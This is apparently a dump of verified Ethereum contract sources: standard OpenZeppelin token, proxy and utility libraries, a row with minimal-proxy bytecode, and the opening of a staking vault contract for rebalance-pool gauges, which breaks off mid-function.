value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.4) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n *\n * ==== Security Considerations\n *\n * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature\n * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be\n * considered as an intention to spend the allowance in any specific way. The second is that because permits have\n * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should\n * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be\n * generally recommended is:\n *\n * ```solidity\n * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {\n * try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}\n * doThing(..., value);\n * }\n *\n * function doThing(..., uint256 value) public {\n * token.safeTransferFrom(msg.sender, address(this), value);\n * ...\n * }\n * ```\n *\n * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of\n * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also\n * {SafeERC20-safeTransferFrom}).\n *\n * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so\n * contracts should have entry points that don't rely on permit.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n *\n * CAUTION: See Security Considerations above.\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/security/ReentrancyGuard.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n"
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// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
* proxy whose upgrades are fully controlled by the current implementation.
*/
interface IERC1822Proxiable {
/**
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
* address.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy.
*/
function proxiableUUID() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
// import "../beacon/IBeacon.sol";
// import "../../interfaces/draft-IERC1822.sol";
// import "../../utils/Address.sol";
// import "../../utils/StorageSlot.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallUUPS(address newImplementation, bytes memory data, bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overridden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
*
* Furthermore, `isContract` will also return true if the target contract within
* the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
* which only has an effect at the end of a transaction.
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
*
* _Available since v4.8._
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
/**
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason or using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```solidity
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._
* _Available since v4.9 for `string`, `bytes`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
struct StringSlot {
string value;
}
struct BytesSlot {
bytes value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `StringSlot` with member `value` located at `slot`.
*/
function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `StringSlot` representation of the string storage pointer `store`.
*/
function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := store.slot
}
}
/**
* @dev Returns an `BytesSlot` with member `value` located at `slot`.
*/
function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.
*/
function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
/// @solidity memory-safe-assembly
assembly {
r.slot := store.slot
}
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/beacon/BeaconProxy.sol)
pragma solidity ^0.8.0;
// import "./IBeacon.sol";
// import "../Proxy.sol";
// import "../ERC1967/ERC1967Upgrade.sol";
/**
* @dev This contract implements a proxy that gets the implementation address for each call from an {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract BeaconProxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializing the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
constructor(address beacon, bytes memory data) payable {
_upgradeBeaconToAndCall(beacon, data, false);
}
/**
* @dev Returns the current beacon address.
*/
function _beacon() internal view virtual returns (address) {
return _getBeacon();
}
/**
* @dev Returns the current implementation address of the associated beacon.
*/
function _implementation() internal view virtual override returns (address) {
return IBeacon(_getBeacon()).implementation();
}
/**
* @dev Changes the proxy to use a new beacon. Deprecated: see {_upgradeBeaconToAndCall}.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
function _setBeacon(address beacon, bytes memory data) internal virtual {
_upgradeBeaconToAndCall(beacon, data, false);
}
}
|
1 | 19,495,994 |
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|
435a8f6283ea6b4553d62107a7baf43dc666ae524d63f573192a6dd1ed53ec26
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66807b5598a848602734b82e432dd88dbe13fc8f
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|
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|
363d3d373d3d3d363d73d6da2a43ded6fc647aa5fb526e96b1f37c24cea85af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/boosting/StakingProxyRebalancePool.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"./StakingProxyBase.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport \"../interfaces/IFxUsd.sol\";\nimport \"../interfaces/IFxFacetV2.sol\";\nimport '@openzeppelin/contracts/security/ReentrancyGuard.sol';\n\n/*\nVault implementation for rebalance pool gauges\n\nThis should mostly act like a normal erc20 vault with the exception that\nfxn is not minted directly and is rather passed in via the extra rewards route.\nThus automatic redirect must be turned off and processed locally from the vault.\n*/\ncontract StakingProxyRebalancePool is StakingProxyBase, ReentrancyGuard{\n using SafeERC20 for IERC20;\n\n address public constant fxusd = address(0x085780639CC2cACd35E474e71f4d000e2405d8f6); \n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter) \n StakingProxyBase(_poolRegistry, _feeRegistry, _fxnminter){\n }\n\n //vault type\n function vaultType() external pure override returns(VaultType){\n return VaultType.RebalancePool;\n }\n\n //vault version\n function vaultVersion() external pure override returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public override{\n super.initialize(_owner, _pid);\n\n //set infinite approval\n IERC20(stakingToken).approve(gaugeAddress, type(uint256).max);\n }\n\n\n //deposit into rebalance pool with ftoken\n function deposit(uint256 _amount) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull ftokens from user\n IERC20(stakingToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake\n IFxnGauge(gaugeAddress).deposit(_amount, address(this));\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //deposit into rebalance pool with fxusd\n function depositFxUsd(uint256 _amount) external onlyOwner nonReentrant{\n if(_amount > 0){\n //pull fxusd from user\n IERC20(fxusd).safeTransferFrom(msg.sender, address(this), _amount);\n\n //stake using fxusd's earn 